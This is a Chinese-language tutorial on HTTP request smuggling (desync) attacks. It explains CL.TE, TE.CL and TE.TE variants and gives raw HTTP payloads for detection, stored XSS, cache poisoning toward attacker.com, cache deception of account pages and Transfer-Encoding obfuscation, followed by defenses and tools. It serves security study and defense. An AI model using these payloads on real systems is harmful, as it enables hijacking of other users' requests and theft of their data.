HTTP Desync Attacks: Smashing into the Cell Next Door
字数 1325 2025-08-26 22:11:57
HTTP请求走私攻击:打破隔离的技术详解
概述
HTTP请求走私(HTTP Request Smuggling)是一种攻击者能够打破HTTP请求隔离性,将其请求转接到其他用户请求上的技术。通过这种技术,攻击者可以修改受害者的请求,将其路由到恶意领域,调用有害响应,甚至获取对内部API的特权访问。
核心概念
基本工作原理
自HTTP/1.1以来,通过一个底层TCP或SSL/TLS套接字发送多个HTTP请求被广泛支持。现代网站通常由多个系统组成,通过HTTP进行通信。这种多层架构通过单个TCP/TLS连接路由来自不同用户的HTTP请求。
关键问题在于:如果前端和后端对"每条消息在哪里结束"的理解不一致,攻击者可以发送一条不明确的消息,使后端将其解释为两个不同的HTTP请求。
攻击类型
- CL.TE攻击:前端使用Content-Length头,后端使用Transfer-Encoding头
- TE.CL攻击:前端使用Transfer-Encoding头,后端使用Content-Length头
- TE.TE攻击:前后端都使用Transfer-Encoding头,但对头的解析存在差异
攻击方法学
检测阶段
CL.TE检测方法:
POST / HTTP/1.1
Host: vulnerable-website.com
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
0
X
TE.CL检测方法:
POST / HTTP/1.1
Host: vulnerable-website.com
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
确认阶段
一旦检测到潜在漏洞,需要确认后端套接字中毒是否可能:
CL.TE确认攻击:
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
Transfer-Encoding: chunked
e
q=smuggling&x=
0
GET /404 HTTP/1.1
Foo: x
TE.CL确认攻击:
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
x=
0
探索阶段
通过反射POST参数来查看隐藏的HTTP头:
POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
Transfer-Encoding: chunked
0
POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Cookie: session=xyz
Content-Length: 500
login[email]=attacker@evil.com&
利用技术
存储型利用
如果应用程序支持编辑或存储文本数据,可以通过在受害者请求前加上精心设计的存储请求来利用:
POST /settings/profile HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
Transfer-Encoding: chunked
0
POST /settings/profile HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Cookie: session=xyz
Content-Length: 500
bio=<script>alert(1)</script>&
攻击型利用
- 升级XSS:将反射型XSS转变为存储型XSS
- DOM抓取:利用基于DOM的开放重定向
- CDN链式攻击:利用多层CDN/反向代理的解析差异
- 无害响应利用:如利用307重定向使受害者发送明文密码
Web缓存投毒
通过请求走私使有害响应被缓存:
GET / HTTP/1.1
Host: vulnerable-website.com
X-Ignore: X
GET /anything HTTP/1.1
Host: attacker.com
Foo: X
Web缓存欺骗++
获取包含敏感信息的响应并缓存:
GET /static/site.js HTTP/1.1
Host: vulnerable-website.com
X-Ignore: X
GET /account/settings HTTP/1.1
Host: vulnerable-website.com
Cookie: session=xyz
高级技术
隐藏Transfer-Encoding头
某些系统对Transfer-Encoding头的解析存在差异,可以使用以下变体:
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
PayPal案例研究
- 初始攻击:通过请求走私链式缓存投毒控制JavaScript文件
- 绕过CSP:利用iframe和没有CSP的子页面
- 二次绕过:使用换行符隐藏Transfer-Encoding头
防御措施
- 前端规范化:前端服务器应在继续路由前将不明确的请求规范化
- 后端拒绝:后端服务器应彻底拒绝不明确的请求并删除关联的连接
- 协议升级:使用HTTP/2与后端系统通信
- 禁用连接重用:完全禁用后端连接重用
- 统一配置:确保链中所有服务器使用相同的配置和Web服务器软件
工具推荐
- Desynchronize:Burp Suite扩展,用于自动识别请求走私漏洞
- Turbo Intruder:用于快速发送"受害者"请求
- Param Miner:用于发现反射参数
结论
HTTP请求走私是对Web的主要威胁,HTTP请求解析是一个安全关键的功能,容忍不明确的消息是危险的。通过理解攻击原理、掌握检测和利用方法,安全研究人员可以更好地识别和防御此类漏洞。